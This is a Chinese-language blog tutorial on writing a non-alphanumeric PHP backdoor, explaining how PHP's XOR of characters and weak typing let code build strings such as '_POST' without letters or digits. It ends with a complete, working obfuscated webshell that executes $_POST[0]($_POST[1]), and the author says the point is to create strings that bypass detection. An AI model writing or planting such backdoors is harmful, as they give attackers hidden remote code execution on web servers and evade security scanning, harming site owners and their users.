編寫變態的(非字母數字的)PHP後門

 在這篇文章中,我將向大家介紹如何編寫一個非字母數字的PHP後門。在編寫這種PHP後門的時候,我們首先需要了解一些基礎知識:

    (1)瞭解PHP
    (2)瞭解curl或者其他一些能夠操作HTTP請求的工具

  還有一點需要大家瞭解的是PHP中異或(^)的概念。對於異或,大家肯定都有所瞭解,但是平常能用到的地方可能不多,最起碼本人不經常使用(勿噴)。之所以在這裏強調一下異或的概念,是因爲異或在這種非字母數字的PHP後門中經常使用並且非常重要。

先來看下面一段代碼:

<?php
    echo "A" ^ "}";
?>

  運行這段代碼,那麼輸出的結果是字符"<",之所以會得到這樣的結果,是因爲代碼中對字符"A"和字符"}"進行了異或操作。在PHP中,兩個變量進行異或時,會將字符串轉換成二進制再進行異或,異或完,又將結果從二進制轉換成了字符串。異或操作有時也被用來交換兩個變量的值。

  我們都知道,PHP是弱類型的語言,也就是說在PHP中我們可以不預先聲明變量的類型,而直接聲明一個變量並進行初始化或賦值操作。正是由於PHP弱類型的這個特點,我們對PHP的變類型進行隱式的轉換,並利用這個特點進行一些非常規的操作。如將整型轉換成字符串型,將布爾型當作整型,或者將字符串當作函數來處理,下面我們來看一段代碼:

<?php
    $_++;
    $__="<"^"}";
    $__("stuff");
?>

  看到這段代碼,大家或許會覺得很疑惑,下面我簡單的來解釋一下:

  (1)$_++;這行代碼的意思是對變量名爲"_"的變量進行自增操作,在PHP中未定義的變量默認值爲null,null==false==0,我們可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。

  (2)$__="<"^"}";對字符"<"和"}"進行異或運算,得到結果A賦給變量名爲"__"(兩個下劃線)的變量

  (3)$__("stuff");通過上面的賦值操作,變量$__的值爲A,所以這行可以看作是A("stuff"),在PHP中,這行代碼表示調用函數A,但是由於程序中並未定義函數A,所以這行代碼會拋出一個致命錯誤使程序停止運行。這行代碼沒什麼實際的意義,但是它能簡單體現出在PHP中,我們可以將字符串當作函數來處理。

  文章進行到這裏,大家如果再看到類似的PHP後門應該不會那麼迷惑了,你可以通過一句句的分析後門代碼來理解後門想實現的功能。如果你依然迷惑,那說明本菜鳥的文章寫的不好,先說聲抱歉了,但是還是希望你別罵我。

  上面的那段示例代碼最後會出錯,導致程序停止運行,當然寫出一個出錯的程序並不是我們的目的,使用這種後門的主要目的是創建一些可以繞過檢測的並且對我們有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我們需要的東西。

  下面是個非常簡單的非數字字母的PHP後門:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

  我們甚至可以將上面的代碼合併爲一行,從而使程序的可讀性更差,代碼如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

  按照文章最開始的講解對代碼進行分析,我們知道這是一個可以進行函數調用的PHP後門。
  希望這篇文章能給大家帶來一些幫助。
  最後,沒有最後!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章